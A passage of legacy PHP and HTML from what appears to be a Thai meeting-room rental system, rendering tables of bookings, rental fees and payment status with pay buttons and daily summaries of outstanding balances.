<td width="8%">อัตราค่าเช่า</td>
<td width="11%" >สถานะการชำระ </td>
</tr>
<?
while($rx = mysql_fetch_assoc($qx1)) {
if ($bgcolor1 == "DDDDDD"){ $bgcolor1 = "EFEFEF" ; } else {$bgcolor1 = "DDDDDD" ;}
$i++;
$time1=explode(":",$rx[time_start]);
$time2=explode(":",$rx[time_end]);
list($aa,$bb)=explode(" ",getRentPrice($rx[refid]));
if(($rx[cost_request]-$rx[cost_paid])>0 || $rx[admin_confirm] == 31 ){
$date1=$rx[daterent];
$datenow=date('Y-m-d');
if(DateDiff($date1,$datenow)<0){
$img_status="";
$command_but="<input type=\"button\" value=\"ชำระเงิน\" onclick=\"displayCommand(this,'".$rx[refid]."',".$aa.")\" />";
}
else{
$img_status="close.png";
$command_but="<input type=\"button\" value=\"ชำระเงิน\" onclick=\"displayCommand(this,'".$rx[refid]."',".$aa.")\" />";
$altstr="ยังไม่ได้ชำระเงิน";
}
}else{
$img_status="check.png";
$altstr="ชำระแล้ว";
$command_but="<span style=\"width:60px;height:20px;background-color:#D6D6D6;color:#EEEEEE;border:#C8C1C6 solid 1px;text-align:center;\">ชำระแล้ว</span>";
}
?>
<tr bgcolor="#<?=$bgcolor1?>">
<td align="center" valign="top"><?= $i;?></td>
<td align="center" valign="top"><?=daythai2($rx[daterent]);?></td>
<td align="center" valign="top"><?=(int)$time1[0];?>.<?=$time1[1];?> - <?=(int)$time2[0];?>.<?=$time2[1];?></td>
<td align="center" valign="top"><?=getRoomName($rx[roomid]);?></td>
<td align="left" valign="top"><?=$rx[billCost]?></td>
<td align="left" valign="top"><? if (!$rx[meeting_topic]) { echo"ไม่ระบุ"; }else{echo $rx[meeting_topic];}?></td>
<td align="left" valign="top"><?= $rx[groupname]?></td>
<td align="right" valign="top"><?=$rx[meeting_person]?></td>
<td align="right" valign="top"><?
list($aa,$bb)=explode(" ", getRentPrice($rx[refid]));
echo set_currency($aa). $bb ;?> <? if($session_apppermit[$m_id ][10] == "on"){ echo $command_but;} ?> </td>
<td align="center" valign="top">
<?
if($img_status!=""){
?>
<img src="../../images/<?php echo $img_status; ?>" alt="<?=$altstr?>" />
<?
}
?>
</td>
</tr>
<? } ?>
</table>
<br>
<?
//==============================================
// จบการแสดงรายรายการ
//==============================================
} else if($_POST[type_search] == 0)
{
?>
<table width="95%" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
<tr align="center" bgcolor="#466A8E" class="headerTB_white" >
<td width="5%" height="20" >ลำดับ</td>
<td width="20%" height="20">วัน/เดือน/ปี</td>
<td width="25%">จำนวนการใช้ห้องประชุมทั้งสิ้น(รายการ)</td>
<td width="25%">ค่าเช่าห้องประชุม(บาท)</td>
<td width="25%">จำนวนวงเงินค้างชำระ(บาท)</td>
</tr>
<?
$qr = mysql_query($sql3) or die(mysql_error());
$i = 1;
while($rss = mysql_fetch_assoc($qr))
{
if($rss[num] > 0)
{
if ($bgcolor1 == "DDDDDD"){ $bgcolor1 = "EFEFEF" ; } else {$bgcolor1 = "DDDDDD" ;}
$date = explode("-",$rss[daterent]) ;
$iday = $date[2];
$month = $date[1];
$year = $date[0];
$show = $rss[num] ;
$h_win_pop = $rss[num]*135;
?>
<tr bgcolor="#<?=$bgcolor1?>">
<td align="center" valign="top"><?=$i?></td>
<td align="center" valign="top"><?=daythai2($rss[daterent])?></td>
<td align="center" valign="top">
<?print "$str<a href='#' onClick=\"popUpWindow('pop_detail.php?day=$iday&month=$month&year=$year', 'SH1', 450,$h_win_pop, 'yes') \"><strong>$show</strong></a><br>\n";?>
</td>
<td align="center" valign="top"> <?=$rss[cost_request]?></td>
<td align="center" valign="top"> <?=$rss[cost_request]-$rss[cost_paid]?></td>
</tr>
<?
$i++;
}
}
?>
</table>
<table align="center" width="400px" border="0">
</table>
<?
}
?></td>
</tr>
</table>
</body>
</html>
<?
//insert timeQuery
$time_end = getmicrotime();
writetime2db($timestart,$timeend);
//insert timeQuery
?>